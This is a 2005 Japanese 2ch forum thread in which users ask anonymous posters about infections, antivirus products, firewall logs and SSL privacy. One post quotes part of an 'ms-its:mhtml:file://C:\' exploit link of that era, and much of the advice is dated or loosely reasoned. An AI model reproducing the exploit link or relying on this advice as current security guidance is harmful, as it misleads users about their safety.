昨日競馬板に貼られていた動画を開こうとしたところ、何も再生されずにPCがガリガリ動いているだけで 危険だと思い強制終了させ、再起動してみたところSvchostというファイル?が同時に起動し、パフォーマンスが かなり悪くなっています。 あと、19576などという毎回ランダムな数字も起動と同時に立ち上がっているみたいです。 それから起動後すぐに「ActiveXコントロールは実行できません。そのためこのページは正しく表示されない事があります」 と出ます。 コントロールパネルやマイコンピューターを開こうにも、同じメッセージが出てすぐにフリーズしてしまいます。なのでフォルダなどは開けない状態です。 一応Ad-Aware SE Personal、FixWelch、でチェックしてみましたがウイルスらしきものは発見できません。 今これを書いている時にもPCが何かを開こうとしているらしく、しばらくおいてみたら海外のエロサイトがかってに開きました。 OSはwindows MEです。 これはどうすればいいですか?
っつかこのスレ見るだけでノートン誤作動まじめいわくなんだけど
犯人は
>>697 こいつだけどね
.
702 :
名無しさん@お腹いっぱい。 :2005/11/29(火) 20:32:31
さっき、誤ってms-its:mhtml:file://C:\ のアドレスをクリックしてしまいました。 今のところ特に異常はおきてませんが、大丈夫でしょうか?
ええ
WindowsXPを立ち上げると、LAN上に存在するローカルDNSサーバ (Linux 2.4系のOpenBlockS266)がUDPポート1028を介して ブロードバンドルータにアクセスし、ISPのDNSサーバに問い合わせします。 Windowsのログイン画面が出る直前です。 ルータは自動発呼になっているので、PCが立ち上がると同時にネットにも つながっていることになり、それなりに便利なのですが、ポート1028が不可解です。 OpenBlockSがワームに感染したのでしょうか?
705 :
名無しさん@お腹いっぱい。 :2005/11/29(火) 22:44:05
【OS】WinXP 【ソフト】ノートン先輩 はじめまして、こんばんは。早速ですが、質問させていただきます。 2chを見ようとしたらHTTP MSIE JavaScript OnLoad Rte CodeExecとエラーが出て 侵入検知のほうが切断してしまいます。 これは除外してもよろしいのでしょうか? よろしくお願い致します。
706 :
名無しさん@お腹いっぱい。 :2005/11/29(火) 23:24:10
>>698 みたいな事ってあるの?
動画開いただけで、ここまで壊滅的ダメージを受けるなんて。
windowsXPで期限切れのマカフィーのAVとPFWが入ってます。 スタンバイの状態のときにIEでアクセスしてないサイトが履歴に残ってたんですが、これってウイルスですか? 履歴には有名な得ろサイトのHPとサンプル動画のほか、グーグルでエロい言葉を検索したあとが残ってました。 両方とも深夜0時台でした。 けどちょっと前のことなので履歴は全部消してしまいました。 一応期限切れマカフィーとオンラインのノートンとバスターとad-awareを試して、ウイルスは無しで、 ad-awareはトラッキングクッキーが2,3個程度でした。 最近は無くなったのですがちょっと不安です。
十分なウイルス対策もしないでウイルス感染を心配するのはナンセンス
709 :
707 :2005/11/30(水) 01:39:44
確かにおっしゃる通りです。 明日にでもノートンあたりを買ってきます。
>>709 いま、2chでノートンはお勧めできない
711 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 03:03:32
ノートンのスキャンではファイルの中身が五個。 解凍ソフトで中身覗くと四個。 これってどゆこと? 圧縮形式はジップです。
712 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 04:42:16
OSXマカーですが、ウィルス入ってるよって メル友に言われて、Norton Anti Virusと Personal Firewall導入したところ ウィルスは見つからなかったのですが Firewallのアクセス履歴みたら 自分とこと同IP 同ホスト(Y!BB)の何ものかに 激しく攻撃受けているようです、これはなんでしょうか? スパイウェア?
2chのログが引っかかるからですか? しかも重いらしいので今まで使ってたマカフィーかバスターにしてみます。 ありがとうございました。
714 :
707 :2005/11/30(水) 08:37:17
715 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 12:42:47
携帯のIPアドレスからアクセス都道府県を特定することは可能でしょうか?
716 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 13:40:57
メル友の人にウィルス持ってるよと言われたので、ノートンのアンチウィルスとパーソナルファイアウォール導入したら、ウィルスはみつからなかったのですが、ファイアウォールのアクセス履歴みたら、自分と同IP同ホストから毎分8回ほど攻撃されてるみたいなんです。。これはなんなのでしょうか?スパイウェア? (OSXマカーです)
orzあれ… 昨日書きこんだののこってますね… パソコンではみえなかった、、 連投ウザクてすみません…
719 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 14:10:30
【ソース】ウイルスセキュリティ2005EX Part15【K7】 400 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/11/30(水) 02:52:27 オレにはどうでもいいことなんだけども、 新種のノートントラップを2chに貼りまくっている犯人は、 主にNOD厨だと気付きつつある今日この頃(w
池沼ってなんですか?
泥沼みたいなもんだ
んだ
( ^3^)≡○#) 3・)∴.;
725 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 18:29:44
726 :
名無しさん@お腹いっぱい。 :2005/11/30(水) 18:31:46
a. [ドメイン名] ANGEL.CO.JP e. [そしきめい] そふとばんく・てくのろじーかぶしきがいしゃ f. [組織名] ソフトバンク・テクノロジー株式会社 g. [Organization] SOFTBANK TECHNOLOGY CORP. k. [組織種別] 株式会社 l. [Organization Type] Corporation m. [登録担当者] NE399JP n. [技術連絡担当者] NN2372JP n. [技術連絡担当者] NT2608JP p. [ネームサーバ] gabriel.angel.co.jp p. [ネームサーバ] mana.angel.co.jp p. [ネームサーバ] ns.angel.co.jp p. [ネームサーバ] ns3.via.or.jp [状態] Connected (2006/04/30) [登録年月日] 1996/04/02 [接続年月日] 1996/04/11 [最終更新] 2005/05/24 10:30:04 (JST) 株式会社日本レジストリサービス Copyright(c) 20
727 :
3流SE :2005/11/30(水) 19:00:52
IT会社でプライベート(転職関連など)な メールをやり取りする場合、 完全プライベートのアドレスでも、 LAN上だとIDパスは傍受されるのですが 手軽に不特定多数と秘匿メールする方法は SSLでのWEBメール以外にはありませんか?
729 :
728 :2005/11/30(水) 22:50:51
一応、マジの質問です
731 :
728 :2005/11/30(水) 22:55:54
一応、そのサイトを配信しているパソのIPが分かってチェックしてみたんですが 該当するデータがありません。 参考:RIRのWHOISサーバ ・APNIC WHOIS(whois.apnic.net) ・ARIN WHOIS(whois.arin.net) ・RIPE WHOIS(whois.ripe.net) ・LACNIC WHOIS(whois.lacnic.net) なんて、出ました。
732 :
728 :2005/11/30(水) 22:56:38
>>730 誘導ありがとうございます。
質問です。 自分のPCを遠隔操作される可能性のある手口教えてください。 どこを調べるといいかとか、どういうアプリが入れられてるといけないかもとか、どうやってチェックすればいいのかとか、逆に撃退する方法とか。 解る方ご指導願います。
>>733 サーバータイプのものなら
ルーターを入れておけば平気だと思うよ
735 :
733 :2005/11/30(水) 23:15:38
早速のレスありがとうございます。 それは、自分のPCが他人が操作できる状態でもでしょうか? 例えば、席を外している間に何か仕込まれた場合など・・・。
736 :
3流SE :2005/11/30(水) 23:25:27
>>727 ゴールデンタイムおながい!! m(__)m
737 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 00:18:00
トラッキングクッキーってクッキー削除すればいいんですか?
>>735 ルーターにあいているポートがなければ平気
開いているポートがあってそのポートを使うようなプログラムだとダメ
739 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 00:51:44
このスレをNISで読むと、権限がないアクセス、とやらでアクセスできません。 この質問も不慣れなPSPから書いています。 原因は何で、どのように対処したらよいのでしょうか?
質問です。 使っているのはウィンドウズXPです。 27日にノートンインターネットセキュリティの期限が切れて ノートンアンチウィルスはまだ切れてなかったので気にせずネット見てたのですが 28日にうっかり2ちゃんに貼られたウィルス?トロイ?アドレスを踏んでしまいました。 そのとき使ってたブラウザはスレイプニルです。 ブラクラの後についたレスによるとトロイいっぱいのエロサイトだったらしいのですが ノートンアンチウィルスが「Trojan.ByteVerifyを検出し駆除しました」 というウィンドウをいっぱい出して止まらなくなったので電源ボタン押して落とし セーフモードで起動してシステム復元で25日の状態に戻して スレイプニル自体とインターネット履歴とキャッシュを消しました。 そのあとspywaredoctor試供品を落としてスキャンしたところ感染ファイルが62個みつかりました。 でも駆除は製品版でないとできないらしいので 今日NIS2006とスパイゼロ2006を買って来てスキャンしたら それぞれAdware1個と8個しかみつかりませんでした。 これでトロイ駆除は大丈夫なのでしょうか? spywaredoctorの発見した62個が気になるのですが 感度高すぎて害のないもの(NISとスパイゼロが無害と判断するもの) も感知してしまっているだけでしょうか? (初心者なので用語とか間違ってたら申し訳ありません)
741 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 01:04:46
ウインドウズxPです。 起動させたあとVirusScanを再インストールしてくたさいというメッセージがでた後、 矢印が砂時計マークになったまま何しても動かすことができません。 解決策ないでしょうか?
過去レスでも617の様なキティガイは読まないように 逆効果だから
>>735 たとえば、企業内同士での場合はルータ内の可能性が高いので、
その場合はちと厳しいね。
企業の外からはつなげないが、中からなら可能。
まずは、アンチウイルスソフトでチェックするのがベスト。
その後、トロイが起動してたらタスクマネージャで見慣れないプロセスがないかチェックするといいよ。
googleで調べればたいていの機能はわかる筈なので、HITしないのがあったりしたら怪しい。
システム管理者に聞いてみるといいかもしれん。
>>740 spywaredoctorがどの程度の誤爆するのかわからないのでなんともいえないが、
とりあえずそれで大丈夫だと思う。
>>741 セーフモードで起動してアンインストするべし。
ただ、ウイルスにやられてる可能性も考えたほうがいいかも。
ノートン体験版の期限が切れたのですが 次は何入れれば良いですか?ずーーっと使える無料ソフトはどれですか?
キングソフトオススメ
748 :
737 :2005/12/01(木) 12:32:55
おね
「トラッキングクッキー」でググってみれ
750 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 13:19:50
使用しているソフトはwindows2000。 ウィルスバスター2005でウィルスとスパイウェア検索は済ませています。 変なプログラムDLしたりとかは無いです。 ファイアーウォールのログを見てみると、本日の四時半頃より、 二分程度の周期でDestination Unreachable(宛先到達不能?)というのが送られてきます。 回線を切断後、再接続を繰り返しても全く効果が在りません…。 送信元のIPアドレスは自分のプロバイダのものです…。 そのアドレスを含むサイトをgoogleにて検索してみると、中国のサイトが出てきました…。 google上から見れる範囲には抗日なんたらとか大家なんたらとか胡散臭いこと書いてます…。 そこにDestination Unreachableの送信元IPと他に幾つかのIPが載ってました。 先程問い合わせたプロバイダーとのやり取りを要約すると、 何かのサイトを踏んで、そこから悪意のある人に攻撃を受けてるんじゃないか。 数百万のルーターを買わないと対処は不可能。嵐が過ぎ去るまで待ちなさいとの事ですw ハッキングとかではなく、回線重くしてるだけ?みたいなことも言ってました。 20分程度話し込んでると、なんとかなる確立は低いがファイアーウォールのログをメールで送ってくれたら、 そういうところに送っても良い?ようなことを言ってきました。 そもそも最初の時点からこの担当の人、送信元のIPアドレスもアクセスの種類もまともに聞いてくれなかったり、 言ってる事も微妙に辻褄あってなかったりしてるので、話切り上げる為に言っただけで対応する気0っぽいです…。 回線再接続しても直ぐに攻撃来るので、これは自分の使ってるプロバイダ全員に攻撃きてると考えて良いのでしょうか? 数日我慢しても収まらなきゃ、メールでログ送ってみるって感じで問題無いですか? というか、ネトゲしてても余り問題無いのに、幾つかのサイトは繋がりにくい&2chに中々書込めないのですが…。
IP変えても攻撃が続いてるなら、そのプロバイダ全体にアタックかけてるのかも。 まずはIP変更してみるべし。 それでも続いてるなら、プロバイダ全体に何かされてるか、 アンチウイルスに引っかからないトロイが仕込まれてる可能性がある。 ただ、攻撃というよりトロイ仕込まれてるPCを探そうとしてる可能性もあるな。 踏み台を探そうとしてるってことね。 こっちのほうが可能性高いと思う。
752 :
750 :2005/12/01(木) 15:15:59
712 :名無しさん@お腹いっぱい。:2005/11/30(水) 04:42:16
OSXマカーですが、ウィルス入ってるよって
メル友に言われて、Norton Anti Virusと
Personal Firewall導入したところ
ウィルスは見つからなかったのですが
Firewallのアクセス履歴みたら
自分とこと同IP 同ホスト(Y!BB)の何ものかに
激しく攻撃受けているようです、これはなんでしょうか?
スパイウェア?
↑この人と同じ感じなのかな…?
>>712 さん、もし見てたら聞きたいのですが、
ファイアーウォールのログにDestination Unreachableって出てたりしますか?
プロセスを起動順に表示してくれるソフトがあるんですが(と言っても専用じゃない) 起動直後に起動していないsvchostがPCをしているといつの間にか起動しています こういうってあるんでしょうか?
754 :
750 :2005/12/01(木) 15:21:27
>>751 さん
回答感謝です。
windowsのアップデートも暫くしてなかったので、何日か前にしようと思ってたんですよね…。
ウィルスバスターのスパイウェア検索だけでは不安なので、
今年のスパイウェア対策ソフトの製品版買ったままインスコしてなかったのを
とりあえず、入れてみます…。
755 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 15:25:05
バーボンハウスに行ったら「次回起動時にパソコンのデータ全てを消去します」 って出てきた・・・。どうしたら次回起動時にパソコンのデータ全てを消さなくて済むの・・?
759 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 23:05:16
760 :
25歳 女性 :2005/12/01(木) 23:24:03
ウイルスをDLしてしまいました。 ノートンでスキャンしても見つかりません。 それらしきファイルを見つけたのですがPC上から消去できません。 使用中か書込み禁止・・・などの表示になり消去できません。 どうしたらよいのでしょうか?
761 :
名無しさん@お腹いっぱい。 :2005/12/01(木) 23:30:42
762 :
名無しさん@お腹いっぱい。 :2005/12/02(金) 01:24:32
ウイルスバスターを入れたんですが、ウインドゥズ98で メモリが56しかないので重くて全然使えません。 一昔前のこんなパソコン環境の場合は みなさんはセキュリティはどうしてたのでしょうか? 誰か教えてくださいm(__)m
avast入れな
764 :
762 :2005/12/02(金) 03:07:15
それは結構使えるソフトですか?
最近WindowsUpdateや窓の杜に行くと 「このアドレスは偽装されている可能性が」云々って出る これってそこのサイトがウィルス感染してる可能性? つかブラウザの機能なのなぁ?
>>766 環境がわからないとなんとも。
フィッシングサイト用の検出ソフトかなんか使ってるのか?
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>758 、
>>759 | | | \_____
(__)___)
お前ら答えもしないで何言ってんの。
まったく情けねぇ。
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>766 | | | \_____
(__)___)
えっと、ツールバータイプのやつ?
アドレスバーに直接入力でもそうなるの?
ウイルスバスターの糞ソフトだと思う
771 :
名無しさん@お腹いっぱい。 :2005/12/02(金) 22:59:18
比較するまでもない 単なるサギだ
773 :
名無しさん@お腹いっぱい。 :2005/12/02(金) 23:17:58
フリーソフトを集めただけって事ですか?
効果あればもうけ物 単なるスパイウェアの詰め合わせかも
ヤフオクって碌なものないな
今からノートンさんを消去する
777 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 00:18:37
VundoFix.exeというプログラムについて詳しい方いませんか? シマンテックのツールが効かなくてこのソフトを試したのですが、 誤ってc:\windowsまで入力したところでEnterを押してしまいました。 その後は起動するものの青い画面が表示されたままになってしまいます。
最インスト
う〜ん、それしかないですか。 なんだかExplorerとか消えてるみたいなんですよね。
>>779 セーフモード→システムの復元
ってのはもうやった?
781 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 00:59:16
シツモン。今まで数年間ノートンアンチウイルス5.0を使っていたのですが 突然LiveUpdateができなくなってしまいました。 何故そうなったのか思い当たる節は特にありませン。LiveUpdateをしようとしても、 「データの取り込み」のところでいつも止まってしまい「更新ファイルのインストール」に進めませン。 その時Ctrl+Alt+Delで見てみるとLiveUpdateは「応答無し」になっています。 それで、ノートンアンチウィルスとLiveUpdateをアンインストールして、再インストールしたのですが、 状況は全く変わりませン。 どうしたら直せるますか?ちなみにOSはWIN98SEです。
>>780 ノートンのツールを試すときにシステムの復元は解除してしまいました。
そもそもセーフモードでもエクスプローラすら起動しません。
明日、消えたと思われるファイルをこつこつとコピーしてみようかと思っているところです。
携帯からの粘着荒らしをアク禁にしたいんですが…そんなことは可能ですか? 出来れば方法を教えて頂きたいです。
784 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 02:17:01
ZA使ってて再起動すると、メモ帳とかなんでもないソフトのアクセスが 許可されなくなりました。 OSFirewallを低にすると問題ないんだけど、これってどこか設定から 回避できますか?
>>783 ユーザーエージェントかIPでやるといい。
ローカル上のPCのZoneAlarmをVNC経由で操作出来ないんですが、 なにか方法ありませんか? ウィンドウやポップアップへのクリックやキー操作が通じてないみたいです。
>>784 メモ帳は感染して化けてるか、他のソフトが化けてる可能性が無いかよく調べてみよう
ノートンアンインストール PCclean入れた
>>784 ZAとOSのFirewall両方使う必要なし。トラブルの元。
そもそもメモ帳にアウトバウンズさせる必要って何だ???
790 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 10:58:13
質問させてください。 ノートンアンチウィルス2003をアンインストールしたのですが、 CドライブのBundleというフォルダの中にNortonというフォルダがあります。 削除した方がよいのでしょうか?
>>790 色々なところにごみを残すから、googleで調べてきれいにお掃除した方がいいよ。
792 :
784 :2005/12/03(土) 12:41:58
>>789 書き方悪かったです。
プログラムコントロールを低にすると、
「OSFirewallがオフです」と表示され、
プログラムにアクセスできるようになります。
WindowsFirewallは使っていません。
ZAは6.0.667.000です。
低のままでも問題ないでしょうか?
>>790 体験版ならプログラムファイルを削除しても
隠しファイルのそこいらじゅう(最低でも5〜6箇所)に残骸が残っているぞ
必ずしもNortonという名のファイルじゃないけど
ワケワカメのファイルを右クリック→プロパティで見たら
symantic記名ファイルばかりで驚いた経験あり
まぁ削除しなくてもどうってことないとは思うけど
794 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 19:01:30
ウイルスによる情報漏洩が怖いので 重要なデータは外付けHDDやUSBメモリなどに 保存して、ネットに接続するときは切り離すようにしようと 思っているのですが、それでも感染したら意味はないんでしょうか? 一応ルータ、ファイヤーウォールソフトは入れてるんですが 考えすぎでしょうか?
795 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 19:07:03
トロイを踏んでしまったんですが ノートンが反応してすぐ閉じて ウイルス検索とセキュリティ診断したんですが なんの異常も無かったんですが平気ですかね? そもそもトロイはどんなウイルスなんですか?
トロイの木馬で検索かけて過去を探れ
>>794 ウィルス・ワーム・トロイ・スパイウェアの種類にもよる。
アンチウィルスソフトを入れるべき。
昔、銀星将棋という将棋ソフトで、ウィルス感染したまま販売したことが、あったよ…
798 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 19:52:49
>>796 ありがとうございます。
どうやら大丈夫みたいです。
799 :
794 :2005/12/03(土) 20:26:35
>>797 レスありがとう。すみません、書き方が悪かったです。
ウイルスバスター・Spybot・Adawareを入れてます。
変なソフトをダウンしたりしない限り
PC本体にデータを保存してても大丈夫ですかね?
ちなみにP2Pはやってません。ActiveX・Javaは遮断してます。
>>799 > 変なソフトをダウンしたりしない限り
ちょっと、厳密に答えられないよ。vectorで配布していたソフトウェアにもトロイの木馬
(メアドとか盗む)が入っていたし、確か、trojan.hirohuだったかな…
801 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 20:50:06
そうですか。でも、データをわざわざ別に保存してる人ってそんなに多くないですよね。 みんなあんまり気にしてないのかな……
普通に使っている分には、大丈夫でしょ。普通に使っている分には。 バスター使っているのに、1年くらいウィルスが発見されなくて物足りない、くらいの人であれば、 大丈夫だと思うけどな。
803 :
790 :2005/12/03(土) 21:01:37
>>791 レスありがとうございます。やってみます。
>>793 レスありがとうございます。
体験版ではないのですが、残骸が残っていると他のセキュリティソフトを
インストール出来ないと聞いたので気になってまして・・・
804 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 21:07:51
>>802 まさにそんな状態です。>1年くらいウィルスが発見されなくて物足りない
考え過ぎのようですね。ありがとうございました。
805 :
三流SE :2005/12/03(土) 22:56:05
こないだノートンインターネットセキュリティ2006をDLしたんだけど、
「別のバージョンのノーdが(ry」ってなって、インストールできません。
もちろん、前入ってた2003年版はコントロールパネルから削除。
DL前は一時ファイルも削除、公式HPに書いてあった削除するものは全部削除!
コントロールパネルに残ってるのは〔Norton WMI Update〕というもののみ。
けど、削除しようとすると「要求するソフトがインストール済みです」の文字。
どうすればインストールできますか...
>>793 サソの見て、それ消せば良いのかなぁとも思ったけど、そのワケワカメのファイルって
どこか奥にありそうだし。
誰か教えてください。(切実
807 :
名無しさん@お腹いっぱい。 :2005/12/03(土) 23:43:01
すいません。教えてほしいんですけど。今日yahooのADSLに加入してつないだら 8時間後に308のレジストリが壊れたらしいんですけど。これって原因なんすかね。 ウイルスバスタ2002のまんまだからやばいのかな。
ヤフーつかっててセキュリティ気にするのはナンセンス。
>>807 ウイルスバスターは関係ないと思われ
しかし2002は古過ぎる。
枯れた2005に乗換えを
>8時間後に308のレジストリが壊れたらしいんですけど
ソフトがそう知らせたなら何のソフトで具体的にどう出たのよ
アレが原因かな〜?と言うのがあればそれもな
無論差し障りの無い範疇でだ
810 :
名無しさん@お腹いっぱい。 :2005/12/04(日) 00:57:56
クレジット番号をお店に伝える場合、 メールとSSLで保護されたフォームでは どっちが安全ですか。
812 :
810 :2005/12/04(日) 01:05:49
俺が持ってないです。 コンビニだとデータ残りそうで怖い。 質問訂正:インターネット経由でメールより安全な カード番号の伝え方を教えてください。
813 :
名無しさん@お腹いっぱい。 :2005/12/04(日) 03:07:29
スパイウェアが取り込まれてるかどうか手っ取り早くオンラインスキャンだけして チェックしたいんですけど、そういうサイトはありますか?
>>812 そのページの暗号強度がわからないとなんとも。。。
私は公開鍵暗号の安全性に関して非常に懐疑的なので通販等は利用してませんし不便とも思いません。
探せば実店舗で安い店は結構あるものです。
>>783 UAは偽装できるしIPはコロコロ変わるので、IPで携帯かどうか認証→UAで弾くでFA。
一番簡単なのは携帯電話情報発信させること。
>>810 SSLは暗号強度が適切ならば経路は安全。
でも、サーバーに入った後の情報保護を適切に行っていないところはたくさんある。
ヤフーの個人情報漏らした今村孝幸のように内部の人間が持ち出す場合もある。
メールは経路上盗聴される恐れはある。サーバーには普通は残らないので
SSLの場合の心配は少ない。
でも、メールを受けたPCでnyやってる馬鹿もいて、ウイルスがばら撒いてくれるかも。
という事を総合的に考えると、(多分)PCに残らないFAXが安全。
つーか、コンビニ決済にしろ。
>>806 シマンテックが削除ツール出してた気がする。
ttp://ewp.main.jp/ketai/docomo/ssl.html こういう嘘を広めるのは、法に触れたりしませんか?
お金を偽造するのは、「お金には価値がある」という信用を
台無しにしてしまうから、というのが、犯罪となる根拠の一つですよね。
それと似た考え方で、SSLについて間違った知識を広めるのは
ネット上で信用を得る方法を台無しにしてしまうので、
厳しく処罰されてもよいのでは、と考えました。
>>818 > こういう嘘を広めるのは、法に触れたりしませんか?
板違い。法律勉強板のくだ質スレにでも池。
内容は明らかに嘘、という事でネットワークセキュリティ板的には解決。
なるほど。棲み分けしてるんすね。クシコ。
オレオレでこの板内検索すれば該当の事は取り上げてるけどね
初心者に対して教えてやろう ノ ート ン は や め と け 重いしうざいし、その割りに性能悪いし百害あって更に害あり。
自称上級者が教えてやろう バ ス タ ー は や め と け 重いしうざいし、その割りに性能悪いし百害あって更に害あり。
2002年頃のバージョンがバランス取れてて最適だったね。
ノートンの2002がほぼATGuardのままだったんだっけ? ATGuardはいいFWだったなぁ。
826 :
名無しさん@お腹いっぱい。 :2005/12/04(日) 16:51:41
POP over SSL,SMTP over SSLで暗号化してメール送受信するのと、 SSL化でウイルスチェックできなくなるのと、 どちらがリスクが大きいでしょうか?
「お前のPCにエアほり込んだから、HDDをコピーしてやる。」と言われました。 エアって何ですか? ちなみに、ウィルスバスターのウィルス検索、スパイウェア検索、Spy-bot、Ad-awearSEでの検索は全て行いました。 それだけじゃ意味ないのでしょうか?どうやったらチェックと削除できますか? 解る方教えて下さい。お願いします。
828 :
3流SE :2005/12/04(日) 20:24:22
>>727 反応がないって事は、やっぱりWEBメールが
セキュリティー最強なのかな?
>>827 本当に仕掛けたなら、コピーする前にばれたら対策されてしまうから、
コピーしてからほらコピーしたぜと言ってくる。
それをしないということは出来ない証拠。
mixiのSSLの質問なんですがよろしいですか?
>>830 そういうレスする時は説明してみろよ(笑)
833 :
名無しさん@お腹いっぱい。 :2005/12/04(日) 21:17:16
名前、件名に何も書かれていないメールが最近来ます。 これはウイルスでしょうか? もしウイルスだとしましたら、アウトルックでこのメールが来なくなるようにするにはどうすれば宜しいでしょうか? OSウインドウズ2000、ウイルスソフトは貧乏で買えず、まだ入れておりません。 宜しくお願いします。
834 :
831 :2005/12/04(日) 21:24:01
勝手に書きます。
LANのアクセスランプが点滅して マウスポインタが勝手に動くのですが スパイウェアか何かでしょうか?
838 :
831 :2005/12/04(日) 21:28:30
SSLのページに行く時、 「セキュリティで保護された接続から保護されていない接続へ変更しようとしています。」 って出て、『はい』を押すんですがなかなか画面が変わりません。 何度か押すと変わるんですがいくつか背景画像に×が出てるページに変わります。 ここからログインするとSSL使ったことになるんでしょーか? ちなみに以前はスムーズにいけたのですが。 どこで聞けばいいのかわからなかったのでセキュリティ関係のここで質問させていただきます。
>>833 スパムかいたずらじゃないか?
迷惑メールを識別するThunderbirdってソフトがあるから、
古いアウトルックなら代わりにそれ使ったらどうよ
あと、無料のソフトもあるから(
>>6 >>8 )ちゃんとした製品買うまで入れるのを薦める
840 :
3流SE :2005/12/04(日) 21:33:42
>そういうレスする時は説明してみろよ(笑) ほんと、そう思う。
>>838 はぁ? そのメッセージはSSLから離脱するときのメッセージなのでは。
842 :
831 :2005/12/04(日) 21:39:25
>>841 最初に誰からも読み取られませんと出て、その次にこのメッセージが出てきます。
843 :
833 :2005/12/04(日) 21:45:30
>>839 いつもはアウトルックのツール→メッセージルールでサーバー削除で来ないようにするのですが
そのメールは件名も名前も書いていないので、それができません。
お勧めのソフトを入れてみますが、アウトルックでの操作ができないのは何故でしょうか?
もしお分かりでしたら、教えて下さい。
初心者じゃないセキュリティ関係の質問ってどこでしたら良いんだろ? 匿名串のブラックリスト(DSBLとか)について質問したいのだが…
>>840 WEBメールは、単にWEBページをメールに見立ててるだけですよ。
winME authenticAMD AMDDuron(tm)Prosser 127MB このスペック現在しようしてますがフリーソフト で快適なアンチウィルスソフトないでしょうか? 軽めなのないでしょうか? ご指導お願いします
848 :
844 :2005/12/04(日) 22:43:24
>>846 ぐはっ…紛らわしい書き方でスマソ…il||li ○| ̄|_
2chのDSBLがらみの規制の話じゃなくて
自分の掲示板等でDSBL等の公開ブラックリストを使ってみようと思ったのだけど
DSBLの他にお勧めの公開ブラックリストがあればどんなのか聞きたかったのです
851 :
名無しさん@お腹いっぱい。 :2005/12/04(日) 23:49:23
2ちゃんへの書き込みがおかしくなったので
風呂敷確認君2.03
http://sv2ch.baila6.jp/chk_proxy.cgi で確認したところ、他はまだ大丈夫。(^o^)と言われ、現在問題なく書き込めるのですが
ポート番号:8888 結果:接続できますた。(^o^)
これだけ直せません。
(なぜかシマンテックのセキュリティースキャンではICMP PingだけOPENになります・・・
ウイルスもスパイウエアも検出されません。
もうひとつのPCから確認しても同様の結果になります。両方ともOSはWin2000Pro。
ルーターで8888ポートを開く設定もしてません。
書き込み規制されるような心当たりは、タブブラウザを使った多スレ同時取り込み位です。
かなりピンポイントで規制されたことから、誰かのまき沿いということも無さそうです。
第3者からの報告・ハッキングによる言論統制の可能性に心当たりが無いことは無いですが・・・
なぜポート番号:8888 結果:接続できますた。(^o^)とでるのでしょう?
このポートを使うトロイはあるようですが、他にどういった可能性が考えられるでしょうか?
852 :
BAKA :2005/12/05(月) 00:14:47 BE:171850346-#
あの・・・すみません。 ノートンの2005、後1年使おうと思ったんですが、更新のお知らせを無視してたら、 うっかり1年経ってました。 これってもう2006買わなきゃだめでつか?
853 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 00:16:47
なぜか、このスレの
>>701-801 にくるとBloodhound.Exploit.6
ってウイルスがノートンで検出
されるんですけどなんでですか?
ウイルスコードってやつですか?
>>851 多スレ同時取り込みってやりすぎると規制食らった気がする。
>>840 最近、まともに管理してる企業ならばWebmailサービスはブロックしてる。
接続出来たとしても、webmailサービスに接続したという情報は残ってる。
それでも最強と思えるのは幸せだね。
858 :
831 :2005/12/05(月) 00:58:23
やっぱスレ違いですか?お邪魔しました
>>854 そうなの?
書き込める今でも
ポート番号:8888 結果:接続できますた。(^o^)
となるのはなんででしょ?
860 :
WEBメールの人 :2005/12/05(月) 10:34:59
アドバイスありがとう。。 >Webmailサービスはブロックしてる WEBメールって、HPのSSLポートとかじゃないの? セキュアなページ全部見れなくなってるの?
862 :
WEBメールの人 :2005/12/05(月) 13:50:10
SSL通信してるんだから、 通信内容は分からないはずでしょ?
863 :
名無しさん@お腹いっぱい。 :2005/12/05(月) 13:54:01
vbs:malware[gen]って一体何物ですか?
>>862 SSL化されてるのはログインセッションのみだと思います。
ログイン後、スキーマが変化してると思うので、確認してみて下さい。
ただ、ページ変遷はトレースしてると思います。
SSLは100%安全なものではないです。特にLAN環境などでは。
SSLであっても中身が見れてしまうソフトウエアが存在します。
ハッキング対策としてノートンを入れたんですが, どうも個人情報が外部に漏れているような気がします. ノートンを入れる前に既に自分のパソコンの情報を特定の? どこかに自動的に送信するようなプログラム?のようなものを入れられてたとした場合, それを防ぐことって出来ないのでしょうか? ノートンのファイアウォールで外部からの進入履歴は分かりますが, 外部からはいるんじゃなく,パソコン内部から自動的に情報を外部に送信するような プログラムが既に入れられてたという場合,ノートンにそれを遮断する機能はあるのでしょうか? spybotでのチェックでも怪しいところはありませんし,ノートンのセキュリティチェックでも安全とはでるのですが・・・ それだけで安心していいのでしょうか?
>>866 >外部からはいるんじゃなく,パソコン内部から自動的に情報を外部に送信するような
>プログラムが既に入れられてたという場合,ノートンにそれを遮断する機能はあるのでしょうか?
あるよ。
ファイアーウォールの設定に、プログラム制御って項目があるでしょ?
∧_∧
( ´∀`) / ̄ ̄ ̄ ̄ ̄
( ) <
>>866 | | | \_____
(__)___)
漏れてしまっていたとしたら、それらは取り戻せません。
今後の対策に力を入れるしかありません。
そもそもセキュリティー製品に100%のものはありません。
リスク低減の度合いに差があるだけです。
PFWの能力チェックではLeakTestというのがあります。
漏れが感じているところでは、これからの時代、一般ユーザーであっても
ソフト選びもさることながら、総合的なセキュリティースキルを
求められるようになると思います。
http://itpro.nikkeibp.co.jp/article/NEWS/20051101/223867/
869 :
WEBメールの人 :2005/12/05(月) 18:54:02
